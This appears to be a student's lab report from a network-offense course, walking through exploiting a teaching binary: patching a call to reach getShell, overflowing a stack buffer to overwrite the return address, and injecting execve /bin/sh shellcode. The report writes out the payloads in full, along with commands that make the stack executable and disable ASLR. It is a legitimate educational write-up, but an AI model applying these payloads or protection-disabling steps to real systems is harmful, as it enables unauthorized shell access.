2017-2018-2 《网络对抗技术》 20155322 第二周 Exp1 PC平台逆向破解(5)M

[博客目录]

1-实践目标
2-实践过程
3-资料

1-实践目标

1.1-实践介绍

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

返回目录

1.2-实践内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。

返回目录

1.3-实践要求

截图要求：
- 所有操作截图主机名为本人姓名拼音
- 所编辑的文件名包含自己的学号
报告内容
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（0.5分）
- 掌握反汇编与十六进制编程器 (0.5分)
- 能正确修改机器指令改变程序执行流程（0.5分）
- 能正确构造payload进行bof攻击（0.5分）
报告整体观感
- 报告格式范围，版面整洁加0.5。
- 报告排版混乱，加0分。
文字表述
- 报告文字内容非常全面，表述清晰准确加1分。
- 报告逻辑清楚，比较简要地介绍了自己的操作目标与过程加0.5分。
- 报告逻辑混乱表述不清或文字有明显抄袭可能加0分。

返回目录

2-实践过程

2.1 实践所涉及指令

汇编指令：
- call：使程序跳转到某个地址并开始执行，被调用的过程位于当前代码段内。它的机器指令是一个16位的有符号数，也就是说被调用的过程的首地址必须位于距离当前call指令-32768~+32767字节的地方。在指令执行的时候，处理器先把IP的值压栈，然后根据操作数调整IP的值（IP=IP+操作数+3），这直接导致处理器的执行流转移到目标位置处。
- ret：近返回指令。执行的时候，处理器从栈中弹出一个字到IP中。
- NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
- JNE：条件转移指令，如果不相等则跳转。（机器码：75）
- JE：条件转移指令，如果相等则跳转。（机器码：74）
- JMP：无条件转移指令。段内直接短转Jmp
- CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
Linux命令
- objdump：反汇编
- ps：查看进程信息
gdb调试命令
- r：运行
- b：断点
- info：寄存器信息

返回目录

2.2 反汇编，了解程序的基本功能

通过反汇编命令objdump 打开老师的程序，找到了老师需要我们修改的地方：

需要将Call后面的foo函数地址修改为getshell函数的地址就OK了，由于getshell函数的地址为084847d，于是找到foo函数的地址，将main函数和foo函数的地址相减：

   080484af

- 08048491

----------

   00000014

只要我们将foo函数的这段地址长度减去，call就会指向getshell函数所在的地址了，所以我们将d7 - 14 = c3 的值覆盖掉原来的d7处就好了。

所以打开文档对指令进行修改，使用vi pwn2打开文档，看到的会是乱码，需要输入指令:%!xxd以十六进制显示，再通过/ed d7查找到call 08048491这个指令，进行修改，把d7改成c3就好了：

修改完成后我们再反汇编一下，发现call的地址已经变成getshell的了：

我们运行一下pwn2:

成功getshell~

返回目录

2.3 通过构造输入参数，造成BOF攻击，改变程序执行流

我们需要通过构造一个输入字符串，将溢出的部分变成我们想要跳转到的地址。
- 首先确定预留缓冲区有多大，我输入为：1111111122222222333333334444444455555555，这时我注意寄存器ip（图中eip），因为这是下一条执行语句的地址，我们发现其值为0x35353535 0x35353535，在ASCII码中是5，也就是在5这个部分已经溢出了
- 因为不确定是从哪个5开始溢出，所以我们将八个5改成12345678：
- 由图可知，1234 四个数最终会覆盖到堆栈上的返回地址，所以只要把这四个字符替换为 getShell 的内存地址，输给pwn3，pwn3就会运行getShell，
  
  getShell的内存地址之前的实验我们已经知道了，是0804847d，所以我们直接将1234改为\x7d\x84\x04\x08，输入11111111222222223333333344444444\x7d\x84\x04\x08
  
  成功getshell~

返回目录

2.4 注入Shellcode并执行

shellcode就是一段机器指令（code）

通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），

所以这段机器指令被称为shellcode。

在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

因为我是直接按照老师的实验说明来完成的，所以直接选择“anything+retaddr+nops+shellcode”的结构对buf进行攻击。

首先先构造字符串，目的是为了填充着陆区/划出区，其中\x4\x3\x2\x1就是我们要填写的地址。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

这时我们需要打开两个终端，一个执行注入，另一个进行GDB调试，查找我们需要的地址：

注入：(cat input_shellcode;cat) | ./pwn

确定进程号：/home# ps -ef | grep pwn
调试：

GDB

attach 进程号

disassemble foo

设置断点：发现function foo在0x080484ae处中断了，我们在这里设置断点：

break *0x080484ae
查看地址信息：在按c继续程序，这时发现GDB不动了，我们回到另一个终端，按下回车，这时程序执行，并中断在断点了，我们查看堆栈寄存器sp的信息：

info r esp

（上面那张图是失败的那次的sp地址）确认地址之后，我输入：x/16x 0xbffff26c查看信息，看到了01020304，我们再找找前面那些数，32字节，在地址上减上0x20，查到了：
确定返回地址：按照教程我确定了返回地址就在01020304的后面，因为“anything+retaddr+nops+shellcode”结构中，我们计划32位为anything，而我们刚刚注入的字符串就是32位的，相当于32位之后就是我们的retaddr（返回地址了），那么计算的话就很容易了，如图可知，也就是0xbffff26c + 0x4 = 0xbffff270, 那么32位之前就是减上0x20，为0xbffff250

那么修改字符串：

erl -e 'print "A" x 32;print "\x70\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x50\xf2\xff\xbf\x00"' > input_shellcode

//前面32个A站32字节，\x70\xf2\xff\xbf为retaddr，\x90是nops，\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80是shellcode，剩下的部分没有，因为我随便改了一下发现还是可以getshell~

注入，发现不行！？？我是按照教程做的呀！

注意这里的返回地址不一样是应为我做了两次这次是失败的，我前面是按照成功的那次地址来写的

排查问题，发现前面我没有关闭地址随机化，赶紧补上：

那么下面开始完成一些设置，直接在命令行中输入如下命令：

execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

再注入，成功getshell~

返回目录

3-参考资料

返回目录